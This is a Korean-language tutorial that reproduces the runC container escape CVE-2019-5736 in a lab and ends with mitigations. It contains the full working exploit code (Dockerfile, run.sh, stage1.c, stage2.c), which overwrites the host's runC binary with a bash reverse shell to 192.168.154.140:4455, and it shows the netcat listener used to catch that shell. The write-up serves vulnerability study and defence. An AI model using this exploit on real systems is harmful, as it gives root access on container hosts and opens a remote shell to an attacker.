개요

컨테이너가 대중화되기 시작한 시점에서 가장 크리티컬했으며 컨테이너 탈출의 시작을 알린 취약점은 CVE-2019-5736 이라고 할 수 있다. 해당 취약점을 재현해보고 컨테이너의 기반 기술인 runC에 존재하는 취약점을 악용하여 컨테이너를 탈출해보자.

 

runC란?

runC는 container의 생성/실행 등을 위한 기본적인 CLI 도구이며 Docker, containerd, Podman 및 CRI-O가있는 컨테이너의 저수준 컨테이너 런타임으로 사용된다.

 

[저수준(Low-level) 컨테이너 런타임

OCI Runtime으로 부르기도 하는 Low Level Container Runtime은 오로지 컨테이너를 실행하는 기능만 제공한다
컨테이너는 linux namespace와 cgroups를 통해 구현된다.
linux namespace는 시스템 리소스(Filesystem, Network 등)를 가상화하고, 
cgroups는 컨테이너 안에서 사용할 수 있는 리소스의 양을 제한하는데 사용된다.
저수준 컨테이너 런타임은 이러한 namespace와 cgroup을 설정한 다음 해당 namespace 및 cgroup 내에서 명령을 실행한다.

lmctfy, rkt, railcar 등 다양한 Low Level Container Runtime이 존재했지만,
현재 OCI 표준 스펙을 지키면서 살아남은 건 많지않으며 runC가 사실상 시장을 지배했다고 보면 된다.

 

CVE-2019-5736 취약점 소개

해당 취약점은 컨테이너가 호스트의 runC 바이너리를 덮어씌워 호스트의 권한으로 임의 코드실행이 가능한 취약점으로

docker 18.09.2 이전 버전의 docker 및 기타 제품에서 사용된 runc 0.1.1 ~ 1.0-rc6 버전에서 동작한다.

 

취약점의 공격 순서는 다음과 같다.

 

1. runC는 컨테이너에 사용자가 요청한 명령을 실행하는 작업을 담당하는데 runC를 실행하면 init이라는 하위 프로세스가 생성되며 컨테이너는 독립적인 가상환경을 만든다. 그 후 컨테이너에 있는 runC init 프로세스가 syscall.Exec() 함수를 호출하여 사용자가 요청한 명령을 자신에게 덮어쓰도록 한다.

 

2. 공격자는 runC init이 사용자가 요청한 명령을 자신에게 덮어쓸 때 /proc/[runc-pid]/exe로 덮어쓰도록 하여 스스로를 실행시킬 수 있다. runC는 일반적으로 호스트 루트 권한으로 실행되기 때문에 이를 악용하면 임의 코드실행이 가능하다.

* /proc/[pid]/exe는 프로세스가 실행 중인 실행 파일에 대한 심볼릭 링크이다.

 

CVE-2019-5736 취약 환경

제품 버전
OS Ubuntu 18.04
SW Docker 18.06

 

1. 먼저 취약한 버전의 도커(18.06.1-ce)를 설치해준다.

#apt-get update

#apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common -y

#curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg

#apt-get update

#apt install docker-ce=18.06.1~ce~3-0~ubuntu

 

2. 도커가 정상적으로 설치되었는지 버전을 확인해보자.

root@ubuntu:~# docker version
Client:
 Version:           18.06.1-ce
 API version:       1.38
 Go version:        go1.10.3
 Git commit:        e68fc7a
 Built:             Tue Aug 21 17:24:51 2018
 OS/Arch:           linux/amd64
 Experimental:      false

Server:
 Engine:
  Version:          18.06.1-ce
  API version:      1.38 (minimum version 1.12)
  Go version:       go1.10.3
  Git commit:       e68fc7a
  Built:            Tue Aug 21 17:23:15 2018
  OS/Arch:          linux/amd64
  Experimental:     false

 

CVE-2019-5736 취약점 재현

1. github에 올라와있는 취약점 PoC 코드를 다운받아준다.

https://github.com/agppp/cve-2019-5736-poc

 

2. 다운로드 받은 PoC 코드를 일부 수정해준다.

[stage2.c]--------------------
ADD
#include <string.h>
#include <unistd.h>

Edit
ip를 공격자의 ip로 수정
-------------------------------
[run.sh]-----------------------
cd /root/libseccomp-2.3.1 
=> 2.5.1
-------------------------------

 

3. 다운로드받은 PoC의 도커파일을 이용하여 cve 라는 이름의 도커 이미지 빌드 및 컨테이너를 생성한다.

#docker build -t cve . 
#docker run -t -d --name cvetest cve
#docker exec -it cvetest /bin/bash

 

4.호스트의 docker-runc 바이너리가 덮어씌워지기 전 파일을 백업한다.

#cp /usr/bin/docker-runc /usr/bin/docker-runc.bak

 

5. 공격자 PC에서 netcat으로 4455 포트를 오픈한다.

#nc -nlvvp 4455

 

6. 생성된 컨테이너를 실행하고, 컨테이너 내부로 복사된 /run.sh 파일을 실행한다.

#docker exec -it cvetest /bin/bash
[container]#/root/run.sh && exit

 

7. 호스트에서 컨테이너를 다시 실행하면, 호스트 환경에서 공격자 PC로 netcat 연결을 시도한다.

#docker exec -it cvetest /bin/bash

 

8.쉘에서 docker-runc 바이너리 파일이 공격자 PC로 netcat 연결을 시도하는 명령어로 덮어씌워진 것을 확인할 수 있다.

 

CVE-2019-5736 취약점 분석

1. Dockerfile

RUN 명령을 통해 C파일을 컴파일하기 위한 build-essential 패키지와 runC 런타임 시 공유 라이브러리 동적 링크를 위한 libseccomp 라이브러리를 다운로드 한다. 그리고 ADD 명령을 통해 stage1.c 파일과 stage2.c 파일, run.sh 파일을 복사하고 run.sh 파일의 권한을 777로 부여한다.

FROM ubuntu:18.04

RUN set -e -x ;\
    sed -i 's,# deb-src,deb-src,' /etc/apt/sources.list ;\
    apt -y update ;\
    apt-get -y install build-essential ;\
    cd /root ;\
    apt-get -y build-dep libseccomp ;\
    apt-get source libseccomp

ADD stage1.c /root/stage1.c
ADD stage2.c /root/stage2.c
ADD run.sh  /root/run.sh
RUN set -e -x ;\
    chmod 777 /root/run.sh

 

2. run.sh

다운받은 libseccomp 라이브러리 소스에 stage1.c를 추가시켜 빌드한다. stage1.c는 악성코드를 담은 생성자로 main보다 먼저 실행된다. stage1.c는 동적 링커가 라이브러리를 runC 프로세스로 로드한 후 실행하므로 /proc/self/exe에서 호스트의 runC 바이너리에 접근할 수 있다. 

 

run.sh가 실행되면 stage2.c 소스파일이 빌드되고, /bin/bash 파일 내용이 #!/proc/self/exe로 덮어 씌워진다. /proc/self/exe는 프로세스가 실행 중인 파일에 대한 심볼릭 링크이기 때문에 기존의 /bin/bash가 아닌 호스트의 runC 바이너리를 링크하게 된다.

#!/bin/bash
cd /root/libseccomp-2.5.1 
cat /root/stage1.c >> src/api.c
DEB_BUILD_OPTIONS=nocheck dpkg-buildpackage -b -uc -us
dpkg -i /root/*.deb
mv /bin/bash /bin/good_bash
gcc /root/stage2.c -o /stage2
cat >/bin/bash <<EOF
#!/proc/self/exe
EOF
chmod +x /bin/bash

 

3. stage1.c

현재 실행 중인 runC 바이너리를 수정하기 위해서는 runC 프로세스가 종료되어야 한다. 하지만 runC 프로세스가 종료되면 /proc/[runc-pid]/exe가 사라져 runC 바이너리를 참조할 수 없다. 그래서 stage1.c에서는 /proc/self/exe를 읽기 전용으로 열어서 /usr/bin/docker-run 파일 디스크립터를 생성 후 stage2.c의 인자로 전달한다.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <unistd.h>

__attribute__ ((constructor)) void foo(void)
{
    int fd = open("/proc/self/exe", O_RDONLY);
    if (fd == -1 ) {
        printf("HAX: can't open /proc/self/exe\n");
        return;
    }
    printf("HAX: fd is %d\n", fd);

    char *argv2[3];
    argv2[0] = strdup("/stage2");
    char buf[128];
    snprintf(buf, 128, "/proc/self/fd/%d", fd);
    argv2[1] = buf;
    argv2[2] = 0;
    execve("/stage2", argv2, NULL);
}

 

4. stage2.c

stage1.c에서 전달받은 파일 디스크럽터를 통해 호스트의 runC 바이너리 수정을 시도한다. 그리고 runC가 종료되는 시점에  runC 바이너리를 PoC 코드로 덮어씌운다.

#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include<string.h>
#include<unistd.h>


int main(int argc, char **argv) {
    
    printf("HAX2: argv: %s\n", argv[1]);
    int res1 = -1;
    int total = 10000;
    while(total>0 && res1== -1){

        int fd = open(argv[1], O_RDWR|O_TRUNC);
        printf("HAX2: fd: %d\n", fd);

        const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.154.140/4455 0>&1  &\n";
        int res = write(fd, poc, strlen(poc));
        printf("HAX2: res: %d, %d\n", res, errno);
        res1 = res;
        total--;
    }
}

 

CVE-2019-5736 취약점 대응 방안

1. 취약 버전 패치

docker 18.09.2 이상 버전으로 패치
> 패치된 runC에서는 컨테이너 실행 시 runC 바이너리의 임시 복사본을 생성하여 기존 취약점 동작 시 바이너리 복사본을 변조하게 되며, 원본 바이너리 파일은 보호된다.

 

2. 읽기 전용의 runC를 사용

호스트의 runC 바이너리가 읽기 전용으로 설정된 경우, runC를 덮어쓸 수 없음

 

3. Privileged Container 미사용

컨테이너의 uid 0에 호스트의 낮은 권한을 가진 새로운 사용자 namespace를 사용하면 runC 바이너리에 대한 쓰기 액세스를 방지할 수 있음

 

4. Docker 컨테이너에서 SELinux 사용

SELinux가 활성화된 도커 컨테이너를 사용하면 컨테이너 내부의 프로세스가 호스트 docker-runC 바이너리를 덮어쓰는 것을 방지할 수 있음
복사했습니다!